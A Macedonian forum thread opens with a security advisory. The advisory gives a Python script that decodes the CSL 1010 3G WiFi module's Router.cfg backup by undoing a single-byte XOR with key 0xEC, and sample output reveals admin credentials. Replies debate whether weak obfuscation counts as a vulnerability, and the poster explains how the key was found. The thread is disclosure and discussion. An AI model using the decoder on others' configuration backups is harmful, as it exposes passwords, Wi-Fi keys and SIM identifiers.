Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

CSL 1010 M2M 3G WiFi Module 2.2.1.4 (Router.cfg) Weak XOR Encryption

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.101
662
www.zeroscience.mk
Python:
#!/usr/bin/env python3   ###############################################
#                                                                      #
#                                                                      #
# CSL 1010 M2M 3G WiFi Module 2.2.1.4 (Router.cfg) Weak XOR Encryption #
#                                                                      #
#                                                                      #
# Vendor: CSL Mobile Limited   #########################################
# Product web page: https://1010.com.hk   ##############################
# Affected version: 2.2.1.4   ##########################################
#                                                                      #
# Summary: The CSL 1010 M2M 3G WiFi Module is   ########################
# a portable 3G/LTE router that stores its   ###########################
# configuration in a backup file (Router.cfg).   #######################
#                                                                      #
# Desc: The device protects its configuration   ########################
# file (Router.cfg) with a weak/insecure   #############################
# obfuscation (single-byte XOR cipher) using   #########################
# a static key (0xEC) instead of real encryption.   ####################
# Because the same key is applied to the entire   ######################
# file, it is trivially recovered and the   ############################
# configuration can be decoded back to cleartext   #####################
# with a few lines of code. This discloses   ###########################
# all stored secrets in plaintext, including   #########################
# the web administration and telnet passwords,   #######################
# the WPA/WPA2 pre-shared key, PPPoE/3G/APN   ##########################
# credentials, and SIM identifiers (IMSI/IMEI).   ######################
#                                                                      #
# ==================================================================== #
# $ python 5350Dec.py Router.cfg |findstr /spina:d admin   #############
#                                                                      #
# [+] deshifrirano -> decoded-Router.cfg.txt   #########################
# 165:http_username=admin   ############################################
# 255:http_passwd=admin   ##############################################
# 593:samba_user_list=1;admin;admin;/var/mnt/;1;1;1   ##################
#                                                                      #
# ==================================================================== #
#                                                                      #
# Tested on: httpd   ###################################################
#            Ralink RT5350   ###########################################
#                                                                      #
#                                                                      #
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic   ##############
#                             @zeroscience   ###########################
#                                                                      #
#                                                                      #
# Advisory ID: ZSL-2026-6000   #########################################
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6000  #
#                                                                      #
#                                                                      #
# 25.07.2026   #########################################################
#                                                                      #
########################################################################

import re  as re
import os  as os
import sys as si

if len(si.argv) < 2:
    si.exit("Usage: %s Router.cfg [-o outfile]" % os.path.basename(si.argv[0]))

cfg = si.argv[1]
out = si.argv[3] if si.argv[2:3] == ["-o"] and len(si.argv) > 3 else "decoded-%s.txt" % os.path.basename(cfg)

blob = open(cfg, "rb").read()
blob = bytes(b ^ 0xEC for b in (blob[4:] if blob[:4] == b"R3G2" else blob))
text = "\n".join(s.decode() for s in re.findall(rb"[\x20-\x7e]{3,}", blob))

open(out, "w").write(text)
print(text)
si.stderr.write("\n[+] deshifrirano -> %s\n" % out)



 

gdamjan

poweruser
3 април 2008
4.090
3.555
Скопје
damjan.softver.org.mk
gdamjan's setup  
Processor & Cooler
AMD Ryzen 5 Pro 4650G / Cooler Master Hyper 212 Black
Motherboard
MSI MAG B550m Mortar Wifi
Storage
NVME: 1TB AData XPG SX8200 Pro / 2x 2TB Samsung NVMe 990 Evo Plus / HDD: 2x 2TB Toshiba P300
PSU
Gigabyte G750H
RAM
DDR4 3200MHz Kingston Fury Renegade Kit CL16 (2x32)
Video card
Vega 7 on APU
Case
Bequiet! PureBase 500
Mouse
Logitech MX Master 3
Keyboard
ThinkPad USB Keyboard With TrackPoint (sk-8855) / Keychron Q2
OS
ArchLinux
зашто е ова ранливост?

тоа се податоци кои што не треба да се скриени за сопственикот на рутерот ионака
 
  • ми се допаѓа
Реакции: marv

marv

poweruser
5 октомври 2007
5.846
5.548
зашто е ова ранливост?

тоа се податоци кои што не треба да се скриени за сопственикот на рутерот ионака
Сопственикот ваљда и ги поставил па би требало и да ги знае. Ранливоста е што многу лесно се доаѓа до податоците демек во случај до уредот да се добере некој што не треба да (читај да го украде). Друго не гледам како викаш и ти многу страшни тајни, конфигурационен фајл ко секој друг. Уредот сам по себе е ранлив, како уред, склон е на лесно крадење

Sent from my SM-A546B using Tapatalk
 

gdamjan

poweruser
3 април 2008
4.090
3.555
Скопје
damjan.softver.org.mk
gdamjan's setup  
Processor & Cooler
AMD Ryzen 5 Pro 4650G / Cooler Master Hyper 212 Black
Motherboard
MSI MAG B550m Mortar Wifi
Storage
NVME: 1TB AData XPG SX8200 Pro / 2x 2TB Samsung NVMe 990 Evo Plus / HDD: 2x 2TB Toshiba P300
PSU
Gigabyte G750H
RAM
DDR4 3200MHz Kingston Fury Renegade Kit CL16 (2x32)
Video card
Vega 7 on APU
Case
Bequiet! PureBase 500
Mouse
Logitech MX Master 3
Keyboard
ThinkPad USB Keyboard With TrackPoint (sk-8855) / Keychron Q2
OS
ArchLinux
Сопственикот ваљда и ги поставил па би требало и да ги знае. Ранливоста е што многу лесно се доаѓа до податоците демек во случај до уредот да се добере некој што не треба да (читај да го украде). Друго не гледам како викаш и ти многу страшни тајни, конфигурационен фајл ко секој друг. Уредот сам по себе е ранлив, како уред, склон е на лесно крадење
пак не е јасно ако го украдам (имам физички пристап до) уредот, ќе го земам фајлот.
 

marv

poweruser
5 октомври 2007
5.846
5.548
пак не е јасно ако го украдам (имам физички пристап до) уредот, ќе го земам фајлот.
Епа тоа де. Ако имаш физички пристап многу лесно можеш да ги видиш аиѕе податоци дури и ако не треба да ги видиш и знаеш. Најверојатно сакаат да кажат да треба да има посилна енкрипција фајлот за да ако ти го украдат уредот не можат да пристапат до осетливите податоци.

Sent from my SM-A546B using Tapatalk
 

gdamjan

poweruser
3 април 2008
4.090
3.555
Скопје
damjan.softver.org.mk
gdamjan's setup  
Processor & Cooler
AMD Ryzen 5 Pro 4650G / Cooler Master Hyper 212 Black
Motherboard
MSI MAG B550m Mortar Wifi
Storage
NVME: 1TB AData XPG SX8200 Pro / 2x 2TB Samsung NVMe 990 Evo Plus / HDD: 2x 2TB Toshiba P300
PSU
Gigabyte G750H
RAM
DDR4 3200MHz Kingston Fury Renegade Kit CL16 (2x32)
Video card
Vega 7 on APU
Case
Bequiet! PureBase 500
Mouse
Logitech MX Master 3
Keyboard
ThinkPad USB Keyboard With TrackPoint (sk-8855) / Keychron Q2
OS
ArchLinux
али џабе вергламе, на @zeroscience форумов му е firehose, write-only, read-never
 
  • ми се допаѓа
Реакции: marv

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.101
662
www.zeroscience.mk
али џабе вергламе, на @zeroscience форумов му е firehose, write-only, read-never
Леле Дамјан, никако :) Баш напишав веднаш но и го избришав постот зашто беше на кумановски :p

Еве вака:

Router.cfg е бекап на конфигурација што содржи и лични податоци. Уредот може и да не е ранлив, но сопственикот си направил бекап, го ставил тој бекап на USB, можеби си иде по фабрики каде што има повеќе такви уреди и си прави restore за администрирање на тие уреди. Ако некој го најде тој бекап податок (некако), ќе го дешифрира и ќе има пристап и информации за тој 3G WiFi модул и GPRS, IMEI и т.н. Кога други уреди прават бекап на конфигурација, си користат OpenSSL и си енкриптираат за не дај боже :) XOR е многу слаб во овој случај, и клучот го пронајдов веднаш поради null bytes padding. Во самиот наслов си пишува Weak XOR Encryption, тоа е ранливоста, кршење на безбедносни контроли или побарувања.

Кога ќе видите премногу повторувања на некој бајт во хедерот на фајлот, пробувате со истиот бајт да XOR (^) и добив нули, а подоле во податокот, ентропијата е поголема и нема padding, и заклучив дека форматот е хедер + null padding + содржина, клучот е тој што е во скриптата. Можам да го споделам Router.cfg ако сакате да се играте.

Сценарија има многу и целта може да биде 'Get the backup config file', особено во ICS/OT околина. Можеби модулот е во некој камион, за пратење и локација, па зошто да можам да си испраќам безплатно SMS пораки од камиончето :p

Ова е слично кога имаш firmware што не е енкриптиран. Уште еднаш, XOR не е добра идеја да заштитуваш лични податоци, барем да имплементирале повеќе-бајтски клуч па малку да се помачиме, но сепак на крајот пак ќе го најдеш.

Нешто повеќе: https://www.cve.org/CVERecord/SearchResults?query=backup+configuration

^_^
Поз
Мислењето е автоматски споено:

@D Нешто овој :p смајли полудуе ;]
 

gdamjan

poweruser
3 април 2008
4.090
3.555
Скопје
damjan.softver.org.mk
gdamjan's setup  
Processor & Cooler
AMD Ryzen 5 Pro 4650G / Cooler Master Hyper 212 Black
Motherboard
MSI MAG B550m Mortar Wifi
Storage
NVME: 1TB AData XPG SX8200 Pro / 2x 2TB Samsung NVMe 990 Evo Plus / HDD: 2x 2TB Toshiba P300
PSU
Gigabyte G750H
RAM
DDR4 3200MHz Kingston Fury Renegade Kit CL16 (2x32)
Video card
Vega 7 on APU
Case
Bequiet! PureBase 500
Mouse
Logitech MX Master 3
Keyboard
ThinkPad USB Keyboard With TrackPoint (sk-8855) / Keychron Q2
OS
ArchLinux
Кога други уреди прават бекап на конфигурација, си користат OpenSSL и си енкриптираат за не дај боже
со кој клуч? (припази на твоето сценарио за restore).

сопственикот си направил бекап, го ставил тој бекап на USB
бекапи по сите правила се третираат како податоци кои мора да се обезбедат, вклучително и да се енкриптираат.
Мислењето е автоматски споено:

XOR е многу слаб во овој случај
XOR-от не е ни енкрипција, ова е нешо ко обфускација ако некој ти ѕирка од позад грб да не види дека си ставил 4 букви пасворд.
 
членови онлајн
мислења
теми
членови

Последни огласи

ИТ маркет

На врв Дно